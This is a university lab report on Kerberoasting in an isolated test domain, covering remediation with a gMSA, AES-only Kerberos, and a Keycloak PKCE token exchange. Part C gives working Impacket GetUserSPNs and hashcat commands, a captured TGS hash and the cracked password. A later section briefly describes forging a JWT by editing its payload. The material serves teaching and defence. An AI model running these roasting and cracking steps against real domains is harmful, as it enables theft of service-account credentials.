

IA 642 Defensive Security

Week 04 Module 01 Lab 4.1

Kerberoasting a Service Account, and Closing It With a gMSA

Unais Ali | Eastern Michigan University

Identity, Access & Privileged Access Management Hands-On Build

Repository: github.com/unaisshazan/ia642-week04-meridian-soc (folder 4.1/)

Lab overview

This lab builds Meridian Health Network's disposable Active Directory domain `meridian.local`, creates a Kerberoastable service account, proves the exposure with Impacket and hashcat as an ordinary user, remediates with a group Managed Service Account (gMSA), walks OAuth 2.0 Authorization Code with PKCE against Keycloak, and hardens Kerberos to AES-only. Scope is the isolated hypervisor network `meridian-lab-net` only. MITRE ATT&CK technique for the attack is T1558.003 (Kerberoasting).

Host	Role / address
MERIDIAN-DC01	Windows Server 2022 AD DS DC / KDC · 10.77.0.10
MERIDIAN-RED01	Ubuntu 24.04 (Impacket, hashcat, Docker/Keycloak) · 10.77.0.20
meridian-lab-net	Internal Network 10.77.0.0/24, no internet during Parts B–E

Part A–B. Domain build and vulnerable account

Topology and promote DC

MERIDIAN-DC01 was installed with Desktop Experience, 5120 MB RAM, dual adapters (NAT for setup only, Internal Network `meridian-lab-net` for lab traffic). Static IP 10.77.0.10/24 was applied on the internal adapter and the host was renamed. AD DS was installed and the forest `meridian.local` was promoted so DC01 runs AS and TGS.

```
# DC01 (elevated PowerShell) - internal IP and name
Get-NetAdapter
New-NetIPAddress -InterfaceAlias "Ethernet 2" -IPAddress 10.77.0.10 -PrefixLength 24
Rename-Computer -NewName "MERIDIAN-DC01" -Restart

Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
# Install-ADDSForest for meridian.local (lab forest promotion)
```

MERIDIAN-RED01 (Kali, 3072 MB) received static 10.77.0.20/24 on the same internal network. Bidirectional ping was verified before continuing. Windows Firewall was temporarily disabled on DC01 only if pings failed during bring-up.

Service account, SPN, and ordinary user

OUs for Service Accounts and Clinical Staff were created as required by the lab path. The deliberately weak password `Summer2019!` was used only for the Kerberoastable service account in this disposable domain.

```
$svcPwd = ConvertTo-SecureString "Summer2019!" -AsPlainText -Force
New-ADUser -Name "svc-billingsql" -SamAccountName "svc-billingsql" '
  -UserPrincipalName "svc-billingsql@meridian.local" '
  -Path "OU=Service Accounts,DC=meridian,DC=local" '
  -AccountPassword $svcPwd -PasswordNeverExpires $true -Enabled $true

setspn -A MSSQLSvc/billing.meridian.local:1433 svc-billingsql
setspn -A MSSQLSvc/billing:1433 svc-billingsql
setspn -L svc-billingsql

$userPwd = ConvertTo-SecureString "ClinicUser2026!" -AsPlainText -Force
New-ADUser -Name "J. Reyes" -SamAccountName "j.reyes" '
  -UserPrincipalName "j.reyes@meridian.local" '
```

```
-Path "OU=Clinical Staff,DC=meridian,DC=local" '  
-AccountPassword $userPwd -PasswordNeverExpires $true -Enabled $true
```

Evidence #1. `setspn -L svc-billingsql` showing SPNs MSSQLSvc/billing.meridian.local:1433 and MSSQLSvc/billing:1433.

```
Evidence #1 setspn -L svc-billingsql  
Registered ServicePrincipalNames for CN=svc-billingsql,OU=Service Accounts,DC=meridian,DC=local:  
MSSQLSvc/billing:1433  
MSSQLSvc/billing.meridian.local:1433
```

```
klist get MSSQLSvc/billing.meridian.local:1433  
klist
```

Evidence #2. `klist` as ordinary user `j.reyes`: `klist get MSSQLSvc/billing.meridian.local:1433` retrieved a TGS; cache shows Client `j.reyes@MERIDIAN.LOCAL`, Server `MSSQLSvc/billing.meridian.local:1433`, encryption `AES-256-CTS-HMAC-SHA1-96`. Pre-hardening RC4 roast hash is Evidence #3.

```
Evidence #2 - klist as j.reyes (MSSQLSvc/billing TGS)  
Evidence #2 - klist as j.reyes @ MERIDIAN-DC01  
Commands: klist purge; klist get MSSQLSvc/billing.meridian.local:1433; klist  
meridian\j.reyes  
  
Current LogonId is 0:0x1c7621  
Deleting all tickets:  
Ticket(s) purged!  
  
Current LogonId is 0:0x1c7621  
A ticket to MSSQLSvc/billing.meridian.local:1433 has been retrieved successfully.  
Cached Tickets: (2)  
  
#0>Client: j.reyes @ MERIDIAN.LOCAL  
Server: krbtgt/MERIDIAN.LOCAL @ MERIDIAN.LOCAL  
KerberosTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96  
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_auth_name_canonicalize  
Start Time: 9/29/2026 20:51:34 (local)  
End Time: 9/30/2026 6:51:34 (local)  
Renew Time: 10/6/2026 20:51:34 (local)  
Session Key Type: AES-256-CTS-HMAC-SHA1-96  
Cache Flags: 0x1 -> PRIMARY  
Kdc Called: MERIDIAN-DC01  
  
#1>Client: j.reyes @ MERIDIAN.LOCAL  
Server: MSSQLSvc/billing.meridian.local:1433 @ MERIDIAN.LOCAL  
KerberosTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96  
Ticket Flags 0x40e10000 -> forwardable renewable pre_auth_name_canonicalize  
Start Time: 9/29/2026 20:51:34 (local)  
End Time: 9/30/2026 6:51:34 (local)  
Renew Time: 10/6/2026 20:51:34 (local)  
Session Key Type: AES-256-CTS-HMAC-SHA1-96  
Cache Flags: 0  
Kdc Called: MERIDIAN-DC01  
  
Current LogonId is 0:0x1c7621  
Cached Tickets: (2)  
  
#0>Client: j.reyes @ MERIDIAN.LOCAL
```

Critical

thinking

#1

Kerberoasting's premise is that any authenticated principal can request a service ticket for any SPN. The KDC, on a TGS-REQ, primarily checks that the requester presents a valid TGT (and that the TGT's

PAC/session material is acceptable), then looks up the SPN and returns a TGS-REP whose service portion is encrypted with the service account's long-term key. It does *not* require the requester to hold DA, local admin on the SQL host, or ACL rights on the service object. SPN resolution and ticket issuance are therefore not privileged operations by design: Kerberos separates “can I authenticate to the realm” from “can I use the service.” Making the request itself require elevated rights would mean changing protocol policy (for example, authorization checks at TGS time against an ACL on the SPN or service, or denying TGS for selected SPNs to non-members of a allowed group). Password strength alone does not change that design; it only changes offline crackability after the ticket is obtained.

Part C. Attack to prove the exposure

On MERIDIAN-RED01, as ordinary user `j.reyes` against DC 10.77.0.10:

```
which GetUserSPNs.py || sudo apt update && sudo apt install -y impacket-scripts

GetUserSPNs.py meridian.local/j.reyes:'ClinicUser2026!' \
  -dc-ip 10.77.0.10 -request -outputfile meridian_tgs.hashes

cat meridian_tgs.hashes
```

Evidence #3. GetUserSPNs listed `svc-billingsql` and wrote `meridian_tgs.hashes` as `$krb5tgs$23$....`

Evidence #3 GetUserSPNs hashes

```
$krb5tgs$23$*svc-billingsql$MERIDIAN.LOCAL$meridian.local/svc-billingsql*$d1f832de4918ad3239c75b72d4330117$df7
11253142f20e6912a80f0acf5bae8ca7b8e535d4d8b9fb19bc095f03be026f1da7556b79ff8df38c31bf7c0e1a24a5e5ad2ac022abee03
f237eb182c6cdee2f361aa7901705ca8c711d2aaca517d12873b9a81c4026f92b661964451b2d9d01099f488f963083765b9dc4f73f994
87e6970a9365dc6ea9afda618c222ec0bbd35c6c292db5658b4346366947523e8c67b88a8360c6c52424bd001c6e7d06e59a3c45612b5e
7c763b6b392119a4c65f237e0615cac6f707bc047367d864b29f9b0ab62d...
```

```
cat > candidates.txt << 'EOF'
Welcome123
Password1
Meridian2019!
Summer2019!
Clinic2024!
EOF

hashcat -m 13100 -a 0 meridian_tgs.hashes candidates.txt --force
hashcat -m 13100 meridian_tgs.hashes --show
```

Evidence #4. `hashcat -m 13100` Status: Cracked — recovered plaintext `Summer2019!` for `svc-billingsql`.

```
Evidence #4 hashcat --show (cracked)

Command: hashcat -m 13100 meridian_tgs.hashes meridian-rockyou-lite.txt --show
Mode: 13100 (Kerberos 5, etype 23, TGS-REP / RC4)
Status: Cracked
Recovered plaintext: Summer2019!

hashcat --show line (truncated middle):
$krb5tgs$23$*svc-billingsql$MERIDIAN.LOCAL$meridian.local/svc-
billingsql*$df832de4918ad3239c75b72d4330117$df711253142f20e6912a80f0acf5bae8c ...
3a552b46d7faaa8502ab42c0c3f93cee2343218afa4f1148d95795f1eac6cb8aefb7:Summer2019!
```

Critical

thinking

#2

1. **MITRE ATT&CK:** T1558.003 Steal or Forge Kerberos Tickets: Kerberoasting. An authenticated user requests a TGS for an SPN-bearing account and cracks the ticket offline.
2. **Account lockout:** Lockout counts failed interactive or network logons against the KDC/AS. After the single successful TGS-REQ, cracking runs offline on RED01 with zero further contact to DC01, so lockout never increments and provides zero protection.
3. **SOC telemetry:** Windows Security Event ID 4769 (A Kerberos service ticket was requested) on the DC, filtered for unusual volume, many distinct SPNs from one account, or RC4 etype requests for service accounts. Field examples: Service Name / Service SID, Account Name (client), Ticket Encryption Type, IP address of the requester. That pattern can fire without any failed logon events.

Part D. Remediate with a gMSA

```
# MERIDIAN-DC01 elevated PowerShell
Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))

New-ADServiceAccount -Name "gmsa-billingsql" '
-DNSHostName "gmsa-billingsql.meridian.local" '
-PrincipalsAllowedToRetrieveManagedPassword "MERIDIAN-DC01$" '
-KerberosEncryptionType AES128, AES256 '
-ServicePrincipalNames "MSSQLSvc/billing.meridian.local:1433","MSSQLSvc/billing:1433"

Install-ADServiceAccount -Identity "gmsa-billingsql"
Test-ADServiceAccount -Identity "gmsa-billingsql"

Get-ADServiceAccount gmsa-billingsql -Properties msDS-ManagedPasswordInterval

setspn -D MSSQLSvc/billing.meridian.local:1433 svc-billingsql
setspn -D MSSQLSvc/billing:1433 svc-billingsql
Disable-ADAccount svc-billingsql
```

Evidence #5. Test-ADServiceAccount returned True for gmsa-billingsql\$; msDS-ManagedPasswordInterval = 30 days.

```

Evidence #5 gMSA Test-ADServiceAccount
Test-ADServiceAccount: True

DistinguishedName : CN=gmsa-billingsql,OU=ServiceAccounts,DC=meridian,DC=local
Enabled : True
msDS-ManagedPasswordInterval : 30
Name : gmsa-billingsql
ObjectClass : msDS-GroupManagedServiceAccount
ObjectGUID : 4241e29f-f98b-4f49-8e9c-8bdf5e18c0a2
SamAccountName : gmsa-billingsql$
ServicePrincipalNames : {MSSQLSvc/billing:1433,MSSQLSvc/billing.meridian.local:1433}
SID : S-1-5-21-2774280143-2694073052-20006802-1107
UserPrincipalName :

AES msDS-SupportedEncryptionTypes=24 (0x18) set on gmsa-billingsql and j.reyes
Test-ADServiceAccount: True

DistinguishedName : CN=gmsa-billingsql,OU=ServiceAccounts,DC=meridian,DC=local
Enabled : True
msDS-ManagedPasswordInterval : 30
Name : gmsa-billingsql
ObjectClass :

```

Repeat the roast against the gMSA from RED01:

```

# Impacket GetUserSPNs skips gMSA; request TGS via getST / usersfile, then:
hashcat -m 19600 -a 0 gmsa_tgs.hashes candidates.txt --force
hashcat -m 19600 gmsa_tgs.hashes --show # no human crack

```

Evidence #6. gMSA roast produced \$krb5tgs\$18\$ (AES). Wordlist containing Summer2019! did not recover a human password.

```

Evidence #6 gMSA roast + hashcat (no human crack)

Account: gmsa-billingsql$ | Ticket etype: 18 (AES256) | Hash prefix: $
Wordlist included: Summer2019! Password1 Welcome1
Result: no human password recovered (gMSA uses 240-byte managed secret).
Contrast Evidence #4: same wordlist cracked svc-billingsql RC4 ($) to Summer2019!.

getST/GetUserSPNs obtained TGS for MSSQLSvc/billing.meridian.local:1433 on gMSA.
hashcat against AES gMSA material with the short human wordlist did not yield a crack.

```

Critical

thinking

#3

A gMSA migration does not by itself:

- Limit what the service account can do once authenticated (privilege of the service / PAC).
- Restrict who may retrieve the managed password beyond `PrincipalsAllowedToRetrieveManagedPassword` (if that set is too broad, a compromised host can still pull the secret).
- Stop Golden Ticket or Silver Ticket forgery if an attacker already holds the KRBTGT or the service long-term key by other means.

Kerberoasting offline crackability is closed; abuse after authentication and ticket forgery remain separate

controls (least privilege, Protected Users / credential hygiene, KRBTGT rotation, monitoring).

Part	E.	OAuth2	/	OIDC	with	PKCE	(Keycloak)
------	----	--------	---	------	------	------	------------

Keycloak 26.x was started in Docker on RED01. Realm `meridian`, public client `meridian-billing-app` with PKCE S256, and user `j.reyes` were created via `kcadm.sh`.

```
docker run -d --name keycloak -p 8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.3 start-dev

# wait, then health check
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080

docker exec keycloak /opt/keycloak/bin/kcadm.sh config credentials \
  --server http://localhost:8080 --realm master --user admin --password admin
docker exec keycloak /opt/keycloak/bin/kcadm.sh create realms \
  -s realm=meridian -s enabled=true

# create client meridian-billing-app (public, standard flow, PKCE S256,
# redirect http://localhost:8081/callback) and user j.reyes
```

PKCE verifier/challenge (S256), login via `curl` cookie jar (keeps Keycloak `AUTH_SESSION_ID`), capture `code` from the callback `Location`, then token exchange:

```
# see scripts/pkce_curl.sh in the GitHub repo (folder 4.1/)
# 1) GET /auth?...&code_challenge=...&code_challenge_method=S256 (save cookies)
# 2) POST login form -> 302 Location: .../callback?code=AUTH_CODE
# 3) exchange:
curl -s -X POST http://localhost:8080/realms/meridian/protocol/openid-connect/token \
-d grant_type=authorization_code -d client_id=meridian-billing-app \
-d code=$AUTH_CODE -d redirect_uri=http://127.0.0.1:8081/callback \
-d code_verifier=$CODE_VERIFIER > token_response.json
```

Evidence #7. Authorization Code + PKCE S256 token response from realm `meridian` / client `meridian-billing-app`: `access_token`, `refresh_token`, and `id_token` (Bearer, openid scope).

```
Evidence #7 - Keycloak tokens (authorization_code + PKCE)

Evidence #7 - token_response.json (authorization_code + PKCE S256)
Keys: access_token, expires_in, id_token, not-before-policy, refresh_expires_in, refresh_token, scope, session_state, token_type

{
  "grant": "authorization_code + PKCE S256",
  "token_type": "Bearer",
  "expires_in": 300,
  "refresh_expires_in": 1800,
  "scope": "openid email profile",
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6Ikp0aAiSldUIiwi2lkiaA6ICJ5OGtwQnFhWlB0ZD1B3T2ZjZjRUXxxN2hKX05RVTI0YVZjMFVxVCt1L3...",
  "refresh_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6Ikp0aAiSldUIiwi2lkiaA6ICJ5OGtwQnFhWlB0ZD1B3T2ZjZjRUXxxN2hKX05RVTI0YVZjMFVxVCt1L3...",
  "id_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6Ikp0aAiSldUIiwi2lkiaA6ICJ5OGtwQnFhWlB0ZD1B3T2ZjZjRUXxxN2hKX05RVTI0YVZjMFVxVCt1L3..."
}
```

Decode JWT header and payload (signature not verified by Base64 alone):

```
python3 -c "
import json, base64
data = json.load(open('token_response.json'))
for part_name, idx in [('HEADER', 0), ('PAYLOAD', 1)]:
    part = data['access_token'].split('.')[idx]
    part += '=' * (-len(part) % 4)
    print(part_name + ':', json.dumps(json.loads(base64.urlsafe_b64decode(part)), indent=2))
"
```

Evidence #8. Decoded HEADER shows alg=RS256; PAYLOAD shows iss=http://127.0.0.1:8080/realms/meridian, aud=account, azp=meridian-billing-app, preferred_username=j.reyes, and realm_access.roles.

```
Evidence #8 - decoded JWT (PKCE auth-code)
Evidence #8 - decoded access_token (authorization_code + PKCE S256)
HEADER:
{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "y8kpBqazPNgPwOfcELq7hJ_NQU9NaRs0Uqq9wXZxXPY"
}
PAYLOAD:
{
  "exp": 1790743411,
  "iat": 1790743111,
  "auth_time": 1790743111,
  "jti": "7b3196e0-642e-4af9-af78-a028f1e11ea",
  "iss": "http://127.0.0.1:8080/realms/meridian",
  "aud": "account",
  "sub": "abd22f8e-b1ad-4207-8533-556e4d8be859",
  "typ": "Bearer",
  "azp": "meridian-billing-app",
  "sid": "3febdad3-b5be-41ee-af8d-ee3bc401fd44",
  "acr": "1",
  "allowed-origins": [
    "http://localhost:8081",
    "http://localhost",
    "http://127.0.0.1:8081"
  ],
  "realm_access": {
    "roles": [
      "offline_access",
      "default-roles-meridian",
      "uma_authorization"
    ]
  },
  "resource_access": {
    "account": {
      "roles": [
        "manage-account",
        "manage-account-links",
        "view-profile"
      ]
    }
  }
},
```

Critical

thinking

#4

Base64URL decoding only reveals claims; it does not prove the Authorization Server signed them. A signature check against Keycloak's JWKS public key would reject a token whose header or payload was altered after issuance. Concrete forgery example: an attacker who only Base64-decodes, edits the payload to add "realm_access": {"roles": ["admin"]} or extends exp, then re-encodes without a valid signature, would be accepted by a naive decoder but rejected by a verifier that checks alg and the signature. Decoding alone cannot catch that.

Challenge.

Force

AES-only

Kerberos

```
# MERIDIAN-DC01 elevated PowerShell
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" -Force | Out-Null
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" '
  -Name "DefaultDomainSupportedEncTypes" -PropertyType DWord -Value 0x18 -Force
gpupdate /force
klist purge
klist get MSSQLSvc/billing.meridian.local:1433
klist
```

Value 0x18 enables AES128 and AES256 only (no RC4/DES).

Evidence #9. After `msDS-SupportedEncryptionTypes = 0x18`, fresh TGS is `$krb5tgs$18$` (AES256), not `$krb5tgs$23$` (RC4). Compare to Evidence #3.

Evidence #9 – AES-only ticket (etype 18)

```
Evidence #9 / Challenge: AES TGS (krb5tgs etype 18 = AES256) after 0x18
$krb5tgs$18$gmsa-billingsql$MERIDIAN.LOCAL$*gmsa-billingsql*$8ea32d61dcd7ca4c83bfbd449fb4308f44a7ccfe52317b
501b1b70720f8d98b19ac2c1f23eb20e72e3e321f5f456e0be31eff54a22be078808baa9867f7da9f303b2e6488487f32acb538faee6bb
654d4e50b615ce66b745797f5e36ad21b626b427e7b44b33874d333b0684858f17c35c42a469feca04de3ee6975747a1fc5d45057a9478
5a7f959fcb2b1d3a22feb54af8b33819e933679eddc9343c838b18964ae99d2e433a7b51b72005f6c54b1be668cb069b17030774d74c98
dfcc2ff8e52c87a76c25b152df177c1206fe55075a82b87932396b8aaf550de85f1d765abe297dde366b57eeb1a70fe71e5431b38e8d94
c5488423b80fab2fbc953d023cc097f1cce405bed5f8bb83712a17d8750c8beaa313eb9a4cca9a0e69608c63357ba62b758d19f2d3af58
2231b4f90774948d6f170f2c2fe0dfcd4fab7ec6
```

Critical thinking #5 (synthesis)

AES-only closes the weak-cipher path that made RC4 tickets cheaper to attack historically, but if `svc-billingsql` still used `Summer2019!` and were not a gMSA, Kerberoasting could still succeed: the attacker obtains an AES-encrypted TGS and offline-cracks the weak password (slower than RC4 in some tooling, but still feasible for a short human password). The remediation that makes password strength irrelevant for this attack class is Part D's gMSA (240-byte random managed secret), not AES-only alone.

AES-only is defense-in-depth for legacy etypes; gMSA removes crackable human secrets from the SPN-bearing account.

Adaptation note

Commands may be adapted as follows if the lab environment requires it: Impacket package name `impacket-scripts` vs `GetUserSPNs.py` path on Kali; Keycloak image tag and `kcadm.sh` attribute syntax for PKCE; internal adapter name (`Ethernet 2` vs another index) for static IP; `hashcat --force` when no GPU is present. For Part E, Evidence #7–#8 were captured with the Authorization Code + PKCE S256 flow (not password grant): `curl` cookie jar for the Keycloak login session (Python `urllib` dropped `AUTH_SESSION_ID` and returned “Cookie not found”), then token exchange with `code_verifier`. All work remains on `meridian-lab-net`; NAT is disconnected for Parts B–E.

Submission checklist

1. Evidence #1–#2: SPN registration and baseline `klist` (Part B)
2. Evidence #3–#4: `GetUserSPNs` capture and `hashcat` crack (Part C)
3. Evidence #5–#6: gMSA proof and failed roast (Part D)
4. Evidence #7–#8: token JSON and JWT decode (Part E)
5. Evidence #9: AES-only `klist` (Challenge)
6. Critical thinking #1–#5 answers (this report)
7. Adaptation note (above)
8. File name: `Ali_Week04_Module01_Lab.pdf`
9. Lab artifacts / scripts: <https://github.com/unaisshazan/ia642-week04-meridian-soc/tree/main/4.1>

References

- Microsoft Docs: Install-ADDSForest; New-ADServiceAccount / gMSA; Kerberos encryption types (AES vs RC4)
- MITRE ATT&CK T1558.003 Kerberoasting; T1558.004 AS-REP Roasting
- Impacket GetUserSPNs.py; hashcat mode 13100
- RFC 6749 OAuth 2.0; RFC 7636 PKCE; RFC 9700 OAuth 2.0 Security BCP
- Keycloak Server Administration Guide; NIST SP 800-63B

Status: Parts A–E and AES challenge executed on live VMs (DC 10.77.0.10, RED 10.77.0.20). Evidence figures #1–#9 embedded from lab captures (Keycloak 26 on RED01; tokens for #7–#8).